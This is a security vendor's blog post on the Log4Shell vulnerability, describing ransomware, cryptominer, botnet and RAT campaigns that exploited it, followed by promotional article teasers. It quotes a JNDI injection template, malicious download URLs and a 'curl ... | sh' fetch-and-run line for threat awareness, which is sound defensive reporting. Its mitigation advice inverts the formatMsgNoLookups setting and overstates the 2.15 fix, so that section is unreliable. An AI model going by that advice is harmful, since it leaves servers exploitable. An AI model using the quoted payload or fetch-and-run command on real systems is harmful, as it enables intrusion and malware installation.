The Impact of Log4Shell Vulnerability

log4j log4shell impact chain application security consequence aftermath
log4j log4shell impact chain application security consequence aftermath
log4j log4shell impact chain application security consequence aftermath

What are the consequences and known exploit threats of the Log4j or log4shell application security vulnerability?

Just as security teams were wrapping up for Christmas, a critical vulnerability appeared that set the internet on fire – Log4Shell, a remote code execution vulnerability that allowed anyone to inject arbitrary code to servers running the faulty Log4j 2 logging package maintained by Apache and releasing into the now well known log4shell application security vulnerability.

What is Log4Shell?

log4j log4shell logo java library
log4j vulnerable log4shell logo java library

Log4Shell is an exploit to an application security vulnerability that allows the adversary to execute arbitrary code on any server running a vulnerable version of the Java Log4j 2 logging package. Threat actors can launch attacks from any vector where the user interacts with the server, e.g. a chatbox, a form, a URL.

IT teams have struggled with Log4Shell vulnerability because the Java Naming and Directory Interface allows almost any type of malicious activity to be launched easily. By using the JDNI and a protocol, e.g. HTTP, LDAP, RMI, bad actors can even take control of entire servers.

Want to find out more about how it works? Check out our blog post on the known vulnerabilities of Log4j and how this application security issue originated.

Vulnerable versions of Log4j 2

  • All systems running Log4j 2.10 – 2.14
  • Systems with custom configurations running Log4j 2.15-2.16

You can find a full list of vulnerable software that has been compiled by the NSCS-NL here.

How has the Adversary Exploited Log4Shell?

Despite the wide-reaching and simple nature of this vulnerability, most of the versions of this library are affected.

But the Log4Shell vulnerability has also become a prime hunting ground for malicious actors to run malware. In particular, crypto-miners, botnet attacks, a RAT, and a new type of ransomware have been discovered in an analysis of the exploit attempts carried out by attackers.

Remote Code Execution

First noticed in Minecraft: Java version, players could execute remote code to the Minecraft server using the following formatting string attack:

$ {jndi:[protocol]:[attacker controlled server]}

Remote users could remotely take control of another user’s computer and execute arbitrary code. The vulnerable software has been addressed by both Microsoft and Mojang, but owners of Minecraft servers still need to manually update or mitigate the Log4j package to stop threat actors from executing malicious code.

Khonsari Ransomware

A new ransomware was detected by the Bitdefender security team which appends the extension .khonsari to all encrypted files. Dubbed the Khonsari ransomware family, the Windows-focused ransomware has been identified by the following class:

http://3.145.115[.]94/Main.class

When the malicious remote server loads the malware through the vulnerable Java logger, it encrypts the following files:

  • C:\Users\<user>\Documents
  • C:\Users\<user>\Videos
  • C:\Users\<user>\Pictures
  • C:\Users\<user>\Downloads
  • C:\Users\<user>\Desktop
  • All other non-C:\ files on the system

Using AES-128 CBC to lock up files, the HOW TO GET YOUR FILES BACK.txt ransom note tells the victim to call or email the attackers to drop the encryption. The ransomware gang is not yet known to be trustworthy.

XMRIG Cryptominer

Cryptominer installations have been the most common attack type witnessed since the Log4j vulnerability became publically known and the Github-hosted XMRIG miner has been weaponized against a number of organizations.

Calling on a script file named wsnbb.sh, the miner makes contact with Github to download XMRIG onto the affected system and starts to mine cryptocurrencies.

Muhstik Botnet

Some actively exploited systems have shown signs of the Muhstik botnet. Large servers, in particular, have been prone to widespread exploitation of the botnet infecting and then deploying cryptominers (such as the above-mentioned XMRIG).

The following class is showing Muhstik botnet activity on affected versions:

hxxp://45.130.229[.]168:9999/Exploit.class

Which then executes the following command to download executables and linkable format files:

curl hxxp://18.228.7[.]109/.log/log | sh

All evidence gathered from remediation efforts so far indicates that the botnet is used to spread cryptominers, not establish a botnet for DDoS attacks or stealing sensitive data.

Orcus Remote Access Trojan

Making contact with the same server as the Khonsari ransomware, the Orcus RAT is another payload that is causing security teams headaches.

http://test.verble[.]rocks/dorflersaladreviews.jar

After having called on the above server, the fengchenteamchina.class file is downloaded to the local user’s local filesystem. The malware also runs an executable that sets persistence and downloads shellcode from http://test.verble.rocks/dorflersaladreviews.bin.encrypted

When the shellcode is downloaded and injected, it downloads an additional malicious payload that contains the Orcus RAT.

Mitigating Log4Shell

Log4Shell’s 10.0 CVSS makes it sound difficult to deal with, but the fix for the vulnerability is easy. Depending on the circumstances of your organization, there are three methods for dealing with the Log4Shell vulnerability.

For the full analysis of the vulnerability and the affected versions:

log4j Log4shell appsecphoenix mindmap
log4j / log4shell application security vulnerability decision map

Update to 2.15

For all systems running Java Log4j 2 in its default state, updating to 2.15 will stop the vulnerability in its tracks. This update stopped the adversary from accessing log message parameters and they can no longer control log messages to leverage a point for lateral movement across a server.

Update to 2.16/.17

A security team that has to patch a customized version of Log4j 2 will need to install the further Apache Foundation update 2.17. This will prevent your custom Java installation from becoming a vulnerable version prone to exploitation.

Mitigate the Effect of the Exploitable Package

Some legacy systems are incapable of upgrading Log4j to a safe version. If you find a system within your organization that is incapable of updating, find the following parameter:

log4j2.formatMsgNoLookups

This is set to TRUE by default on all versions released after Log4j 2.10 but before 2.15. Setting this to FALSE will allow you to stop user-controlled input (including malicious format string attacks) until you can update to a secure version of Java.

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

The journey of securing an organization’s application landscape varies dramatically, depending on where a company stands in its maturity. Early-stage startups with small security teams face challenges not only with vulnerabilities but also with scaling their security processes in line with their growth. On the flip side, established enterprises struggle with managing complex environments, prioritizing remediation, and dealing with vast amounts of vulnerabilities while staying ahead of sophisticated threats. For startups, the focus is clear—establish visibility and ensure core security practices are in place. Application Security Posture Management (ASPM) tools provide a straightforward, automated approach to detecting vulnerabilities and enforcing policies. These solutions help reduce risk quickly without overburdening small security teams. Mature organizations, on the other hand, are tackling a different set of problems. With the sheer number of vulnerabilities and an increasingly complicated threat landscape, enterprises need to fine-tune their approach. The goal shifts toward intelligent remediation, leveraging real-time threat intelligence and advanced risk prioritization. ASPM tools at this stage do more than just detect vulnerabilities—they provide context, enable proactive decision-making, and streamline the entire remediation process. The emergence of AI-assisted code generation has further complicated security in both environments. These tools, while speeding up development, are often responsible for introducing new vulnerabilities into applications at a faster pace than traditional methods. The challenge is clear: AI-generated code can hide flaws that are difficult to catch in the rush of innovation. Both startups and enterprises need to adjust their security posture to account for these new risks. ASPM platforms, like Phoenix Security, provide automated scanning of code before it hits production, ensuring that flaws don’t make it past the first line of defense. Meanwhile, organizations are also grappling with the backlog crisis in the National Vulnerability Database (NVD). A staggering number of CVEs remain unprocessed, leaving many businesses with limited data on which to base their patching decisions. While these delays leave companies vulnerable, Phoenix Security steps in by cross-referencing CVE data with known exploits and live threat intelligence, helping organizations stay ahead despite the lag in official vulnerability reporting. Whether just starting their security program or managing a complex infrastructure, organizations need a toolset that adapts with them. Phoenix Security enables businesses of any size to prioritize vulnerabilities based on actual risk, not just theoretical impact, helping security teams navigate the evolving threat landscape with speed and accuracy.
Francesco Cipollone
The cybersecurity world is reeling as MITRE’s funding for the CVE and NVD systems expires, disrupting the backbone of global vulnerability management. As traditional sources like the National Vulnerability Database collapse under funding cuts and submission backlogs, security teams face delays, incomplete data, and loss of automation in remediation pipelines. This isn’t just a data problem—it’s a structural crisis for application security and vulnerability correlation. In this landscape of uncertainty, Phoenix Security’s ASPM platform steps up with a code-to-cloud correlation engine that doesn’t depend on outdated data workflows. By connecting code-level insights (including tools like Semgrep) to runtime and cloud environments, Phoenix enables faster, context-aware vulnerability remediation—even as NVD and CVE pipelines deteriorate. This article dives into the implications of the CVE shutdown and how Phoenix Security is helping security and development teams transition to a resilient, correlation-first approach to cybersecurity.
Francesco Cipollone
Learn how to predict ransomware risks and vulnerability exploitation using a threat-centric approach. Explore data-driven insights, verified exploit trends, and methods for assessing the likelihood of attacks with key references to CISA KEV, EPSS, and Phoenix Security’s 4D Risk Formula.
Francesco Cipollone
Remote Code Execution flaws continue to undermine Kubernetes ingress integrity. IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) showcases severe threat vectors in NGINX-based proxies, leading to cluster-wide exposure. ASPM, robust remediation tactics, and strong application security solutions—like Phoenix Security—mitigate these vulnerabilities before ransomware groups exploit them.
Francesco Cipollone
Remote Code Execution flaws continue to undermine Kubernetes ingress integrity. IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) showcases severe threat vectors in NGINX-based proxies, leading to cluster-wide exposure. ASPM, robust remediation tactics, and strong application security solutions—like Phoenix Security—mitigate these vulnerabilities before ransomware groups exploit them.
Francesco Cipollone
The recent Google acquisition of Wiz for $32 billion has sent shockwaves through the cybersecurity industry, particularly in the realm of Application Security Posture Management (ASPM). This monumental deal highlights the critical importance of cloud security and the growing demand for robust ASPM solutions. While the acquisition promises potential benefits for Google Cloud users, it also raises concerns about vendor lock-in and the future of cloud-agnostic security. Explore the implications of this acquisition and discover how neutral ASPM solutions like Phoenix Security can bridge the gap in multi-cloud environments, ensuring continuous, collaborative, and comprehensive security from code to cloud.” – Find Assets/Vulns by Scanner – Detailed findings Location information Risk-based Posture Management – Risk and Risk Magnitude for Assets – Filter assets and vulnerabilities by source scanner Integrations – BurpSuite XML Import – Assessment Import API Other Improvements – Improved multi-selection in filters – New CVSS Score column in Vulnerabilities
Alfonso Eusebio
x  Powerful Protection for WordPress, from Shield Security
This Site Is Protected By
ShieldPRO